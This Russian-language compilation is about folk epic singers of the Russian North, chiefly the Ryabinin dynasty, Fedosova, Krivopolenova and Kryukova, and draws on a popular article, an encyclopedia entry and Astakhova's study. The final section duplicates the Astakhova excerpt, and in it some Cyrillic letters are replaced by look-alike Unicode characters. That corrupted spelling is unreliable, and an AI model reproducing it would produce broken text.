Мода на народную поэзию возникла в конце XIX века в Москве и Петербурге. Собиратели фольклора стали охотиться на носителей старин, часто вырывая их из естественной среды. В результате судьбы многих сказителей непоправимо изменились — и не всегда в лучшую сторону.
Семья сказителей Рябининых. Фотография сделана московской экспедицией Государственной академии художественных наук. Начальник экспедиции — профессор Юрий Соколов. 1926 год Рябинины: Марфа, Алексей Михайлович, Ольга Ивановна, Анна Михайловна, Кирик Гаврилович, Василий Михайлович, Михаил Кирикович, Татьяна, Марья Кириковна (Сарафанова), Агропена Петровна. Музей-заповедник «Кижи»«В русской фольклористике, пожалуй, нет другого имени, которое было бы окружено таким почетом и уважением, как Рябинины. Несколько поколений этой славной династии стали гордостью отечественной культуры».
Татьяна Григорьевна Иванова. «Сказители»
На первого из сказителей династии старообрядцев Рябининых наткнулся, путешествуя по Олонецкому краю, знаменитый русский этнограф Павел Николаевич Рыбников, тогда еще ссыльный студент.
Трофим Григорьевич Рябинин. Гравюра Лаврентия Серякова
«Книга о киевских богатырях. Свод 24 избранных былин древнекиевского эпоса». 1876 год
Трофим Григорьевич Рябинин родился в 1791 году недалеко от Кижей, рано остался сиротой и кормился за счет крестьянской общины. Свой будущий репертуар — 26 сюжетов — он еще подростком начал перенимать во время учебы в артелях. Не имея своего дома, Рябинин пошел примаком в дом отца жены и очень гордился позднее, что постепенно обзавелся собственным хозяйством, сам встал на ноги и даже стал после смерти тестя главой жениного рода. Для этого кроме основного занятия — хлебопашества — ему пришлось зарабатывать рыбным промыслом. Так что, когда следующий славист, посетивший Рябинина, А. Ф. Гильфердинг, в 1871 году вывез его в Петербург, оказалось, что тот бывал уже в столицах — по рыбным делам.
На публичном выступлении Рябинина в битком набитом зале Русского географического общества присутствовал и его председатель — великий князь Константин Николаевич. После выступления князь преподнес сказителю серебряный кубок в древнерусском стиле и сто рублей. А годом позже Трофим Рябинин был представлен к медали «За полезное», став, таким образом, одним из первых крестьян, удостоенных правительственной награды.
Трофим Григорьевич не дожил до начала активного использования фонографа, зато несколько былин из его репертуара с голоса записал Мусоргский и использовал в последней сцене «Бориса Годунова», а тексты вошли в школьные хрестоматии.
Через 22 года после триумфа в Петербурге Трофима Рябинина его сына Ивана разыскал и привез на гастроли в Петербург петрозаводский учитель Виноградов. Десятки выступлений перед различными аудиториями, запись на фонограф, шум и успех приводят в смущение старовера строгих правил. Иван Трофимович серьезен, вина не пьет, не курит, постами питается капустой и квасом, ходит с собственным стаканом в кармане. Рябинин стал неплохо зарабатывать концертами, но вскоре, затомившись, вернулся в деревню.
Иван Трофимович Рябинин. Деревня Гарницы, 1909 год
Музей-заповедник «Кижи»
Прошло несколько лет — и его снова вызывают, записывают для Чикагской всемирной выставки, приглашают в светские салоны; о нем пишут газеты, сам Николай II с супругой слушает его с текстом в руках, награждает медалью «За усердие» и золотыми часами. Рябинина везут в Константинополь, Софию, Вену, Прагу, Варшаву, Белград, Одессу, Киев (последний особенно интересовал Рябинина, столько раз певшего о «стольном граде»); он встречается с послами, с самим Шаляпиным. Рябинин восхищает всех своей воздержанностью, неизменно пользуясь своей липовой ложкой, деревянной чашкой и граненым стаканом, который дала ему в дорогу жена, чтобы не «обмирщиться». Через несколько лет после триумфальных гастролей Иван Трофимович умер в родной деревне, практически забытый.
Иван Трофимович Рябинин. «Вольга и Микула» Былины Русского Севера. Сказители Рябинины, запись 1894 года ИРЛИ (Пушкинский Дом)
Иван Герасимович и Марфа Петровна Рябинины-Андреевы с зятем Афанасием Федоровичем Воронцовым. Петрозаводск, ориентировочно 1916 год
Музей-заповедник «Кижи»
Фольклористы познакомились с пасынком Ивана Трофимовича Рябинина в 1921 году, когда петроградский Институт живого слова, занимавшийся изучением живой речи, обратился к былинному наследию и послал в деревню Гарницы за И. Т. Рябининым. Сам Иван Трофимович к тому времени уже давно скончался, но сотруднице института удалось привезти в Петроград Рябинина-Андреева, который к тому времени уже дважды побывал рабочим Ижорского завода в Колпине, семь месяцев отслужил на фронтах Первой мировой и вернулся в деревню. Родственники вспоминают, как еще раньше неоднократно звали его выступать в Петербург и Москву с соседской сказительницей Богдановой-Зиновьевой, но Иван Герасимович от таких предложений отказывался — не хотел «с бабами этим делом заниматься».
За несколько месяцев, что он провел в Петрограде, от него было записано 15 былин, которые отличались от остальных тем, что только пелись, но никогда не сказывались. Предполагалось продолжить работу с Рябининым-Андреевым, но, когда экспедиция вновь посетила его родную деревню в 1926 году, его уже не было в живых.
Иван Герасимович Рябинин-Андреев. «Добрыня и Маринка» Былины Русского Севера. Сказители Рябинины, запись 1921 года ИРЛИ (Пушкинский Дом)
Петр Иванович Рябинин-Андреев
Институт языка, литературы и истории КарНЦ РАН, 2008-2014
Поскольку в поездках за Иваном Герасимовичем ученые наконец запомнили дорогу в Гарницы, о существовании наследника его таланта, сына Петра, они уже хорошо знали и с детства окружили его этнографическим вниманием: былину «Вольга и Микула» маленький Петя исполнил в шесть лет, а в 20-е годы уже выступал перед большими столичными аудиториями. На заре славы он был в два раза моложе своих коллег, что вызывало неодобрительные отклики — «молодой и топорящийся». Петр Иванович оказался хорошим импровизатором: в тех случаях, когда событие задевало его, он, используя древние формулы, создавал собственные произведения — как, например, плач о погибшем брате. А поскольку время требовало новин, к нему выехали новые советские этнографы с заказом на современные темы. Фольклорист М. И. Кострова водила Петра Ивановича в Музей Красной армии, снабжала его материалами о Чапаеве, Сталине и партии, демонстрировала фильмы, в результате чего рождались новины, неоднократно исполнялись автором, перепечатывались в прессе. Однако сам Рябинин-Андреев был недоволен собой и позже, когда актуальность тех произведений ушла, никогда уже не упоминал о таком сочинительстве. После войны он получил персональную пенсию, квартиру в Петрозаводске, был принят в члены Союза писателей — но интерес к сказительству угас, и он не находил себе занятия в городе. В последние годы он работал сторожем на кладбище, выпивал и ходил с прошениями о переиздании сборника былин, считал себя недооцененным. Рассказывают, что характер у него к тому времени сильно испортился, хотя он с радостью всегда соглашался на лекции и выступления перед студентами. Петр Иванович умер, не дожив до пятидесяти.
Петр Иванович Рябинин-Андреев. «Добрыня и змей» Былины Русского Севера. Сказители Рябинины, запись 1926 года ИРЛИ (Пушкинский Дом)«Встречается современный читатель с образом вопленицы Ирины Федосовой и обращаясь к книгам М. Горького. Писатель посвятил ей два очерка. Поместил М. Горький „кривобокую старушку“ и на страницах своего романа-хроники „Жизнь Клима Самгина“».
Татьяна Григорьевна Иванова.
«Сказители»
Ирина Андреевна Федосова. Портрет Е. Мрозовской. 1897 год
Wikimedia Commons
Федосова известна не только как сказительница, но и как лучшая вопленица Заонежья — ее свадебные, похоронные и рекрутские причитания имели невероятное воздействие на слушателей. Рассказывают, как в годы особой ее популярности Федосова была приглашена для выступления в один богатый дом, где светская дама попросила ее исполнить плач о дочери, живой, но в результате семейного конфликта покинувшей дом. Старушка так оплакала девушку, что мать повалилась в обморок, а остальные зрители рыдали. О поэтическим таланте Федосовой писал Горький, нежно отзывался Шаляпин; несколько плачей в «Кому на Руси жить хорошо» списаны с ее «авторских» плачей, и сама она стала прообразом некрасовской Матрены Тимофеевны; художники, композиторы были вдохновлены ее лирикой. При этом Федосова полжизни нищенствовала, была неграмотна, а все, что знала, держала в голове. На заработанные выступлениями деньги она построила в родной деревне школу, попросив учителя: «Ты девочек, девочек больше учи».
Современники отмечали яркую жестикуляцию сказительницы, а потомки называли народной поэтессой и Ахматовой девятнадцатого века. Незадолго до кончины Ирину Андреевну приглашали выступать в Америку, но она отказалась, сославшись на здоровье.
Ирина Андреевна Федосова. «Голубиная книга» («Что в восьмом году, в восьмой тисиче...») ИРЛИ (Пушкинский Дом)«Жизнь М. Д. Кривополеновой в чем-то схожа с судьбой И. А. Федосовой — те же тяготы в первой половине жизни и неожиданная всероссийская известность в старости».
Татьяна Григорьевна Иванова. «Сказители»
Мария Дмитриевна Кривополенова. Фотография 1910-х годов
Фундаментальная электронная библиотека «Русская литература и фольклор»
Для широкой публики Марию Дмитриевну Кривополенову открыла Ольга Эрастовна Озаровская — разносторонне одаренный химик и артистка кабаре. Летом 1914 года Озаровская начала ежегодные поездки на Русский Север с сыном, собакой и фонографом за впечатлениями и пополнением репертуара, а также в поисках новых ораторских приемов в среде народной речи. Там, «собирая словесный жемчуг», она и познакомилась с пинежской старушкой-нищенкой. Свой репертуар Кривополенова переняла от деда, который ходил по морю. Затем она неудачно вышла замуж — муж пил и бросил жену без копейки, а дом был без крыши, и часто Марья Дмитриевна ходила по соседним деревням за милостыней, даже и когда стала уже известной. Озаровская привезла бабушку в Москву, где та впервые увидела места, где разворачивается действие многих былин, а затем устроила ей длительные гастроли по всей стране. Спустя четырнадцать лет Борис Пастернак вспоминал в письме Озаровской один из таких концертов: «Вы тогда с бережностью, свойственной дару в отношении дара, впервые выводили за руку, как ребенка, старуху Кривополенову. Это было в Политехническом музее, та же бережность подсказала вам, что лучше бы, чем эстрада, этому голосу, помнящему Грозного, прикатиться из края, который его сложил, и недолго думая, вы всего этого моментально достигли. Вы разбросали по аудитории, точно все это было у вас в горсти, вороха нетерпеливой олонецкой скороговорки». После успешных гастролей бабушку на некоторое время забыли, а когда снова вспомнили, по ходатайству той же Озаровской, в ней принял участие уже нарком просвещения Луначарский. Он лично беспокоился о «государственной бабушке», по его ходатайству ей было назначено пособие, снабжение всем необходимым, а в 1921 году ее вызвали в Москву. Очевидец А. А. Морозов так рассказывает о встрече Кривополеновой с Луначарским:
«…С нетерпением ожидала Кривополенова встречи с Луначарским. Но он не сразу смог к ней приехать. И бабушка на него дулась. А когда он все же приехал и бабушку пошли звать, то она ответила: „Я еще чулок не довязала“. Пошли звать второй раз: „Когда будет пора, приду. Я дольше ждала“. — И, дождавшись третьего раза — как полагалось в старину, — вышла строгая и поклонилась в пояс. Вскоре бабушка разошлась — пела песни и сказывала сказки. Луначарский засиделся до поздней ночи. <…> После его отъезда Кривополенова сказала: „Человек, видать, хороший. Надо ему рукавички связать“». Была Кривополенова и у Луначарского в гостях; выпила рюмку и попросила «убрать стыдобу» — портрет Айседоры Дункан.
В июле 1921 года Кривополенова возвратилась домой, на Пинегу, где три года спустя скончалась среди людей, к которым напросилась на ночлег, до последнего вздоха продолжая петь.
«Наши песни, наши сказки-побывальщины метче пули, крепче стали, штыка вострого — поет колхозник из Карело-Финской ССР Т. Туруев».
Сказители Карело-Финской ССР Анна Михайловна Пашкова и Тимофей Ефимович Туруев в Большом Екатерининском дворце. 1941 год
encspb.ru
Уникальный сказитель-билингва Тимофей Туруев с одинаковым успехом пел былины и по-русски, и на родном карельском языке, переключаясь прямо в процессе исполнения. Собиратели отмечали однако, что Туруев вольно обращается с сюжетом, часто выпуская из него целые куски на свой вкус. Основным занятием Туруева были переводы русского эпоса на карельский язык; известен он также несколькими новинами: «Дело Сталина», «Былина о Сталине» и др.:
Сделал он дела свои великие:
Построил он заводы и фабрики огромные,
на заводах тех машины с автоматами,
а у нас, в деревне, во колхозушках
Отошла на отдых крива сошенька.
(«Дело Сталина»)
И говорит Иосиф Виссарионович
Своемы товарищу Ворошилову:
«Ай же ты, Климентий свет-Ефремович!
Ты пойди-ка по правой сторонушке
Со своей дружиной храброю
Бить силу вражеску Деникина,
Я поеду ко городу Царицину
очищать дорожки прямоезжие».
(«Былина о Сталине»)
В 1941 году сказитель был принят в Союз писателей Карело-Финской ССР.
Сказители - исполнители былин, эпических баллад и ранних историч. песен. Слово "С." имеет нар. происхождение, образовано от глагола "сказывать"; оно указывает на своеобразную манеру исполнения произв. перечисленных фольклорных жанров. На севере России исполнителей эпоса называли также "сказатели", "старинщики". С. были обычно крестьяне (как мужчины, так и женщины). В фольклористику термин "С." вошёл в сер. 19 в. благодаря работам П. Н. Рыбникова и А. Ф. Гильфердинга. С. в период расцвета рус. эпоса (10-16 вв.) были как непрофессионалы, так и профессионалы - певцы в дружинах, при княжеских дворах, скоморохи и др. С 60-х гг. 19 в., когда эпос стал систематически записываться, С.-профессионалы уже не встречались.
С. пользовались одним, максимум 2-3 традиц. напевами речитативного характера и применяли их независимо от содержания текста произведения. Личность С. проявлялась в индивидуальном подборе средств поэтич. выразительности словесного текста, в варьировании напева, эпизодов, в установлении последовательности эпизодов и, наконец, в самом репертуаре С. В зависимости от степени проявления индивидуального начала в творчестве С. фольклористы (вслед за сов. фольклористом А. М. Астаховой) различают: С.-передатчиков, стремящихся к предельно точному воспроизведению усвоенного (И. Т. Рябинин, Б. Суриков - 2-я пол. 19 в.); С., создающих свои редакции и версии (Т. Г. Рябинин - сер. 19 в., Н. С. Богданова, А. М. Пашкова - кон. 19 - нач. 20 вв.); С.-импровизаторов, к-рые каждый раз по-новому излагают сюжет (В. П. Щеголёнок - кон. 19 в., М. С. Крюкова - 20 в.). Под влиянием наиболее талантливых С. возникали локальные школы (онежская, беломорская, печорская, мезенская и др.), а вслед за ними - более обширные местные традиции. Среди выдающихся С. рус. Севера - Т. Г. Рябинин, А. М. Крюкова, Г. Л. Крюков, М. Д. Кривополенова, А. П. Сорокин, H. С. Богданова, Г. А. Якушов, Ф. А. Конашков. Для популяризации творчества С. с 80-х гг. 19 в. организовывались их публич. выступления в крупнейших городах России и Зап. Европы.
Первые собиратели и исследователи нар. эпоса застали лишь последнюю стадию его активного бытования (сер. 19 в.) - в основном на сев. окраинах России и в меньшей степени в Сибири. К этому времени на юге России в казачьей среде былины трансформировались в былинные песни, исполнявшиеся хором на песенные напевы.
С. иногда наз. исполнителей эпоса др. народов СССР - казах, жирши, туркм. бахши, якут, олонхосутов и др.
Литература: Рыбников П. Н., Заметка собирателя, в сб.: Песни, собранные П. Н. Рыбниковым, ч. 3 - Народные былины, старины, побывальщины и песни, Петрозаводск, 1864, т. 1, М., 1909; Гильфердинг A., Олонецкая губерния и ее народные рапсоды, в сб.: Онежские былины, записанные А. Ф. Гильфердингом летом 1871, СПБ, 1873; Ляцкий Е., Сказитель И. Т. Рябинин и его былины, "Этнографическое обозрение", 1894, кн. 23, No 4, с. 105-35; Миллер Вс. Ф., Очерки русской народной словесности, т. 1, М., 1897; Архангельские былины и исторические песни, собранные А. Д. Григорьевым в 1899-1901 гг., т. 1, М., 1904, с. 333-91 (с нотным приложением); Ончуков Н., Печорские былины, СПБ, 1904, с. I-XXXIII; Сперанский М., Русская устная словесность, т. 2 - Былины. Исторические песни, под ред. и с примеч. М. Сперанского, М., 1919, с. VII-XX; Соколов Б., Сказители, М., 1924; Соколов Ю. М., Русский фольклор, М., 1938, с. 232-46; Астахова A., Былинное творчество северных крестьян, в сб.: Былины Севера, т. 1, М.-Л., 1938, с. 7-105; её же, Русский былинный эпос на Севере, Петрозаводск, 1948; Ухов П. Д., Былины, в сб.: Русское народное поэтическое творчество, M., 1956, с. 350-56.
И. Я. Лесенчук
Хранителями русской старины, носителями исторической памяти народа были русские сказители (исполнители былин) и сказочники. Они доносили до слушателей своеобразие народной поэзии, были душой, источником светлых, бодрых настроений слушающего их человека. Каждый из них имел свою исполнительскую манеру. Каждый из них обладал своими индивидуальными особенностями. Среди сказителей встречаются богато одаренные поэтические натуры с огромной творческой изобразительностью. Некоторые народные сказители были склонны к фантастическим образам, другие - к бытовым образам, третьи - к шутке и балагурству. Приводим краткие сведения об отдельных исполнителях устного народного творчества.
Одной из наиболее ярких фигур среди сказителей XIX века является Трофим Григорьевич Рябинин , крестьянин деревни Середка Кижской волости Олонецкой губернии. Родился он в деревне Гарницы в Сенной Губе в начале 90-х годов XVIII века, умер в 1885 году. Он рано потерял родителей (отец был убит на войне, мать умерла через год после ухода отца на военную службу). Еще подростком Рябинин стал ходить по окрестным деревням чинить сети и другие рыболовные снасти. На этой работе он встретился с Ильей Елустафьевым, тоже занимавшимся починкой сетей, который и стал первым учителем Т.Г. Рябинина в области былинного искусства. В дальнейшем Трофим Григорьевич жил в работниках у своего дяди, Игнатия Андреева, также превосходного певца былин. Перенимал он былины и от других мастеров. Из всех олонецких сказителей XIX века Т.Г. Рябинин дал наибольшее количество былин. П.Н. Рыбников в 60-е годы записал от него 18 текстов, А.Ф. Гильфердинг в 1871 году - 23, всего же от Трофима Рябинина известно 26 былинных сюжетов общим объемом до 6000 стихов. Как исполнитель былин Трофим Рябинин может быть назван одним из лучших представителей русского классического былинного стиля. Былины Т.Г. Рябинина отличаются яркой образностью и богато орнаментированы. Он был большим мастером в выборе и применении всех изобразительных средств, полностью соблюдал былинную «обрядность», выработанные веками традиционные эпические приемы, но пользовался ими свободно и творчески, с большим художественным тактом. Недаром многие тексты Т.Г. Рябинина неизменно включались и включаются как лучшие образцы былинного творчества в хрестоматии и антологии, и именно из его былин всегда брались примеры для характеристики основных особенностей былинного стиля.
Высокое художественное мастерство Т.Г. Рябинина, выделяющее его среди многих других сказителей Прионежья, было отмечено обоими собирателями, записавшими его былины. П.Н. Рыбников рассказывает, что во время исполнения былин Рябининым ему не раз приходилось бросать перо и жадно вслушиваться в рассказ: «Каждый предмет у него выступал в настоящем свете, каждое слово получало свое значение». «Удивительное умение сказывать придавало особенное значение каждому стиху». 1
П.Н. Рыбников, посвятивший Трофиму Рябинину несколько страниц в своем превосходном очерке о сказителях, говорит и о большом личном обаянии Рябинина: «В его суровом взгляде, осанке, поклоне, поступи, во всей его наружности, с первого взгляда были заметны спокойная сила и сдержанность». 2
Иной тип сказителя представляет собой известный олонецкий певец былин того же времени Василий Петрович Щеголенок .
Щеголенок был на десять с лишним лет моложе Т.Г. Рябинина. Его родина - деревня Боярщина той же Кижской волости. Былинному сказительству он научился отчасти у своего деда, но главным образом от дяди Тимофея. Последний, безногий инвалид, жил у своего брата - отца Щеголенка. От дяди Щеголенок перенял также сапожное ремесло, которым и занимался помимо земледелия.
В.П. Щеголенок - сказитель с ярко выраженным складом импровизатора. От него в разное время и разными собирателями было записано 14 былин; 10 из них записаны в нескольких вариантах, ясно показывающих, что у Щеголенка не было единой устойчивой редакции одного и того же сюжета. Одну и ту же былину он каждый раз пел совершенно по-иному, меняя не только отдельные места, но и весь текст в целом.
В противоположность Т.Г. Рябинину, который давал исключительно стройные и четкие композиции, Щеголенок усложнял былины мотивами и эпизодами других былин, любил объединять разные сюжеты. При всем своем творческом, новаторском отношении к материалу Рябинин оставался верен народной традиции. Щеголенок часто отступал от нее. Он сводил в одной былине богатырей, которые обычно никогда не встречались, и заменял традиционных героев другими эпическими именами.
Былины Щеголенка лишены того четкого ритма, которым отмечены тексты Рябинина. Хотя Щеголенок свои былины неизменно пел, в стиле и складе их заметно тяготение к более свободному, приближающемуся к прозаическому, рассказыванию. В этом, очевидно, сказалось то обстоятельство, что он был по преимуществу сказочником. Пел Щеголенок былины, по словам Гильфердинга, «не громким, но довольно приятным, хотя уже старческим голосом». 3
В 1890-х годах начинает выступать за пределами родного края сын Трофима Рябинина - Иван Трофимович Рябинин . Не раз приезжал он в Петербург и Москву; выступал и в других городах, а в 1902 году совершил свою известную поездку к южным славянам.
В противоположность отцу, Иван Трофимович Рябинин принадлежал к той категории сказителей, которые при усвоении былин не проявляли самостоятельного творчества. Они не вырабатывали новых, своих редакций, а полностью воспринимали текст от своего учителя. Варианты И.Т. Рябинина мало отличаются от текстов отца. При исполнении он вносил лишь незначительные изменения - несущественную перестановку эпизодов, замену одного слова другим и т. п. Характерно, что былины Ивана Трофимовича более близки к текстам Трофима Рябинина в записи Рыбникова, чем к позднейшим редакциям у Гильфердинга. Следовательно, переняв былины от отца еще в молодости, Иван Рябинин крепко и бережно хранил усвоенное наследие, избегая даже вариаций, вносимых отцом. Во время своих выступлений он всегда решительно протестовал против требований сократить текст, спеть лишь часть его или выкинуть какие-либо «неудобные места». По воспоминаниям современников И.Т. Рябинин был выдающимся мастером-исполнителем, пение им былин неизменно производило большое впечатление.
Репертуар Ивана Трофимовича был довольно обширен, хотя и уступал в этом отношении отцовскому. Знал он 16 сюжетов былин и старших исторических песен. К сожалению, известно в записи от него всего 6 сюжетов.
В начале 1900-х годов появляются первые известия о вопленице и сказительнице Настасье Степановне Богдановой (Зиновьевой) из деревни Конда в Заонежье. В эти годы Н.С. Богданова выступала по приглашению в школах и других учреждениях Петрозаводска.
Расцвет деятельности Н.С. Богдановой как сказительницы относится к первой четверти XX века. В 1900-е годы от нее были произведены записи Н. Шайжиным, позднее - участниками экспедиций Государственной Академии художественных наук и Государственного Института истории искусств в 1926 году и в последующие годы. Умерла Н.С. Богданова в 1937 году.
Знания Н.С. Богдановой в области народной поэзии были чрезвычайно разносторонними. Кроме былин, она была большим мастером старинной причети и народной лирической песни, знала сказки, духовные стихи, загадки; ее речь была пересыпана пословицами и поговорками. Больше всего она любила былины и была глубоко уверена в исторической достоверности их содержания. Былинный репертуар ее невелик - всего 10 былин. Но тексты ее отличаются большим своеобразием.
Если Рябинины были главным образом мастерами героического эпоса, то Н.С. Богданова особенно культивировала былины с романическим и семейно-бытовым содержанием (о неудачной женитьбе Алеши Поповича, о Дунае, о Чуриле и неверной жене Пермяты и т. п.), продолжая и развивая, таким образом, другую линию эпической традиции Прионежья. В былинах Настасья Степановна тщательно разрабатывала диалоги и детали отдельных эпизодов, усиливала психологические моменты и художественные описания. Особенно разработана самая любимая ее былина - о Добрыне и Алеше, принадлежащая к лучшим обработкам этого сюжета.
К первой четверти XX века относится сказительская деятельность третьего представителя славного рода сказителей Рябининых - Ивана Герасимовича Рябинина-Андреева , пасынка Ивана Трофимовича. Свое былинное знание Иван Герасимович унаследовал от отчима, с которым прожил до 23-летнего возраста. Впоследствии Иван Герасимович становится видным мастером эпического искусства. Записи, произведенные от Ивана Герасимовича в 1921 году, показали, что он воспринял эпический репертуар отчима почти полностью (в его репертуаре отсутствовали только былины о Хотене и две исторические песни - об Иване Грозном и о Скопине). У отчима перенял он и напевы, тоже восходящие к Трофиму Рябинину, и все характерные особенности исполнения.
Иван Рябинин принадлежал, подобно отцу и деду, к представителям классического стиля былинного исполнения. Свои былины он всегда пел, и тексты их отличаются четким и чеканным ритмом. Все основные идейно- художественные особенности, которыми отмечены былины старших Рябининых, отличают и тексты Ивана Герасимовича: особое выделение героической линии и одновременно интерес и внимание к социальным моментам, четкость основного замысла и социальной идеи, строго выдержанные образы богатырей и их врагов, полнота и художественность описаний, стройность и ясность композиции. И.Г. Рябинин-Андреев - чуткий и вдумчивый хранитель семейной эпической традиции. Вносимые им изменения выражались лишь в перемещении из одной былины в другую некоторых описаний, словесных формул, «общих мест», в некотором обновлении лексики, а также в заметном усилении диалога. В основном же оставалось неизменным не только само сюжетное развитие былины, но и выработанная старшими Рябиниными художественная словесная ткань. Умер Иван Герасимович в 1926 году.
Выдающейся сказительницей конца XIX и начала XX века была также беломорская исполнительница былин Аграфена Матвеевна Крюкова (1855-1921). Весь ее огромный репертуар (60 текстов былин и исторических песен) был записан еще в 1900-е годы А.В. Марковым, когда сказительнице было 45 лет. Былинный репертуар А.М. Крюковой сложен и по своему составу, и по происхождению. В нем отражены две местные традиции - Терского берега, откуда сказительница была родом, и Зимней Золотицы, куда она вышла замуж. Ее учителями на родине были главным образом мать и любимый дядя по матери - Ефим Стрелков; кроме того, она училась и от других стариков, а также от своих подруг. В Зимней Золотице, где исполнение былин было распространенным бытовым явлением, она перенимала былины от свекра Василия Леонтьевича, его брата Гаврилы и других стариков. Знание свое она пополняла и впоследствии, учась даже у своих дочерей - Марфы и Павлы. В то же время на состав и характер репертуара А.М. Крюковой несомненное влияние оказали публикации былин из других районов, проникавшие с конца XIX века в деревню в различных дешевых изданиях. Будучи неграмотной, Аграфена Крюкова любила слушать чтение и усваивала новые былины или непосредственно из книги или от других сказителей в семье, которые пополняли свое былинное знание из книг.
Записанные от А.М. Крюковой былины и исторические песни превышают в общем своем объеме 10 000 стихов.
Все свои былины Аграфена Матвеевна пела, по словам Маркова, «довольно слабым, но приятным голосом», хорошо выдерживая стихотворный размер. Большинство былин были исполнены ею на один и тот же напев.
Жизнь А.М. Крюковой, этой выдающейся, даровитой поэтессы, была нерадостной. В большой семье Крюковых она занимала подчиненное, зависимое положение и много страдала от притеснений, чинимых старшими в семье женщинами. Во время американо-английской интервенции Крюковой пришлось испытать нужду и голод, которые и свели ее в могилу (она умерла в 1921 году). Ее талант и знание унаследовали двое из ее дочерей - Марфа Семеновна и Павла Семеновна, главным образом первая, старшая и особенно любимая матерью.
Можно назвать еще многих других выдающихся исполнителей русского эпоса. Одаренный русский народ дал отечественной культуре целый ряд талантливых мастеров эпического искусства, которые явились хранителями поэтического наследия прошлого, внесли свой творческий вклад в общую сокровищницу народной поэзии. Они явились выразителями общенародных идейных и художественных тенденций и силой своего таланта углубили и совершенствовали созданное народом. Величайшими образами русского эпоса, воплотившими идеи патриотизма и гуманности, сказители воспитывали лучшие качества народа, его высокие эстетические и нравственные идеалы. (По статье А.М. Астаховой «Сказители былин, их художественное мастерство» // Русское народное поэтическое творчество. - М.; Л., 1956. - Т.2. - Кн.2. )
Сказители былин Сказители былин
Одной из наиболее ярких фигур среди сказителей XIX века является Трофим Григорьевич Рябинин
, крестьянин деревни Середка Кижской волости Олонецкой губернии.
Родился он в деревне Гарницы в Сенной Губе в начале 90-х годов XVIII века, умер в 1885 году. Он рано ᴨᴏᴛерял родителей (отец был убит на войне, мать умерла через год после ухода отца на военную службу). Еще подростком Рябинин стал ходить по окрестным деревням чинить сети и другие рыболовные снасти. На этой работе он встретился с Ильей Елустафьевым, тоже занимавшимся починкой сетей, который и стал первым учителем Т. Г. Рябинина в области былинного искусства
В дальнейшем Трофим Григорьевич жил в работниках у своего дяди, Игнатия Андреева, также превосходного певца былин Перенимал он былины и от других мастеров. Из всех олонецких сказителей XIX века Т. Г. Рябинин дал наибольшее количество былин П. Н. Рыбников в 60-е годы записал от него 18 тексᴛᴏʙ, А. Ф. Гильфердинг в 1871 году – 23, всего же от Трофима Рябинина известно 26 былинных сюжеᴛᴏʙ общим объемом до 6000 стихов. Как исполнитель былин Трофим Рябинин может быть назван одним из лучших представителей русского классического былинного стиля. Былины Т. Г. Рябинина отличаются яркой образностью и богато орнаментированы. Он был большим мастером в выборе и применении всех изобразительных средств, полностью соблюдал былинную «обрядность», выработанные веками традиционные эпические приемы, но пользовался ими свободно и творчески, с большим художественным тактом. Недаром многие тексты Т. Г. Рябинина неизменно включались и включаются как лучшие образцы былинного творчества в хрестоматии и антологии, и именно из его былин всегда брались примеры для характеристики основных особенностей былинного стиля.
Высокое художественное мастерство Т. Г. Рябинина, выделяющее его среди многих других сказителей Прионежья, было отмечено обоими собирателями, записавшими его былины. П. Н. Рыбников рассказывает, что во время исполнения былин Рябининым ему не раз приходилось бросать перо и жадно вслушиваться в рассказ: «Каждый предмет у него выступал в настоящем свете, каждое слово получало свое значение». «Удивительное умение сказывать придавало особенное значение каждому стиху».1
П. Н. Рыбников, посвятивший Трофиму Рябинину несколько страниц в своем превосходном очерке о сказителях, говорит и о большом личном обаянии Рябинина: «В его суровом взгляде, осанке, поклоне, поступи, во всей его наружности, с первого взгляда были заметны спокойная сила и сдержанность».2
Иной тип сказителя представляет собой известный олонецкий певец былин того же времени Василий Петрович Щеголенок .
Щеголенок был на десять с лишним лет моложе Т. Г. Рябинина. Его родина – деревня Боярщина той же Кижской волости. Былинному сказительству он научился отчасти у своего деда, но главным образом от дяди Тимофея. Последний, безногий инвалид, жил у своего брата – отца Щеголенка. От дяди Щеголенок перенял также сапожное ремесло, которым и занимался помимо земледелия.
В. П. Щеголенок – сказитель с ярко выраженным складом импровизатора. От него в разное время и разными собирателями было записано 14 былин; 10 из них записаны в нескольких вариантах, ясно показывающих, что у Щеголенка не было единой устойчивой редакции одного и того же сюжета. Одну и ту же былину он каждый раз пел совершенно по-иному, меняя не только отдельные места, но и весь текст в целом.
В противоположность Т. Г. Рябинину, который давал исключительно стройные и четкие композиции, Щеголенок уᴄᴫᴏжнял былины мотивами и эпизодами других былин, любил объединять разные сюжеты. При всем своем творческом, новаторском отношении к материалу Рябинин оставался верен народной традиции. Щеголенок часто отступал от нее. Он сводил в одной былине богатырей, которые обычно никогда не встречались, и заменял традиционных героев другими эпическими именами.
Былины Щеголенка лишены того четкого ритма, которым отмечены тексты Рябинина. Хотя Щеголенок свои былины неизменно пел, в стиле и складе их заметно тяготение к более свободному, приближающемуся к прозаическому, рассказыванию
В этом, очевидно, сказалось то обстоятельство, что он был по преимуществу сказочником. Пел Щеголенок былины, по словам Гильфердинга, «не громким, но довольно приятным, хотя уже старческим голосом».3
В 1890-х годах начинает выступать за пределами родного края сын Трофима Рябинина – Иван Трофимович Рябинин . Не раз приезжал он в Петербург и Москву; выступал и в других городах, а в 1902 году совершил свою известную поездку к южным славянам.
В противоположность отцу, Иван Трофимович Рябинин принадлежал к той категории сказителей, которые при усвоении былин не проявляли самостоятельного творчества. Они не вырабатывали новых, своих редакций, а полностью воспринимали текст от своего учителя. Варианты И. Т. Рябинина мало отличаются от тексᴛᴏʙ отца. При исполнении он вносил лишь незначительные изменения – несущественную перестановку эпизодов, замену одного слова другим и т. п. Характерно, что былины Ивана Трофимовича более близки к текстам Трофима Рябинина в записи Рыбникова, чем к позднейшим редакциям у Гильфердинга. Следовательно, переняв былины от отца еще в молодости, Иван Рябинин крепко и бережно хранил усвоенное наследие, избегая даже вариаций, вносимых отцом. Во время своих выступлений он всегда решительно протесᴛᴏʙал против требований сократить текст, спеть лишь часть его или выкинуть какие-либо «неудобные места». По воспоминаниям современников И. Т. Рябинин был выдающимся мастером-исполнителем, пение им былин неизменно производило большое впечатление.
Репертуар Ивана Трофимовича был довольно обширен, хотя и уступал в этом отношении отцовскому. Знал он 16 сюжеᴛᴏʙ былин и старших исторических песен К сожалению, известно в записи от него всего 6 сюжеᴛᴏʙ.
В начале 1900-х годов появляются первые известия о вопленице и сказительнице Настасье Степановне Богдановой (Зиновьевой) из деревни Конда в Заонежье
В эти годы Н. С. Богданова выступала по приглашению в школах и других учреждениях Петрозаводска.
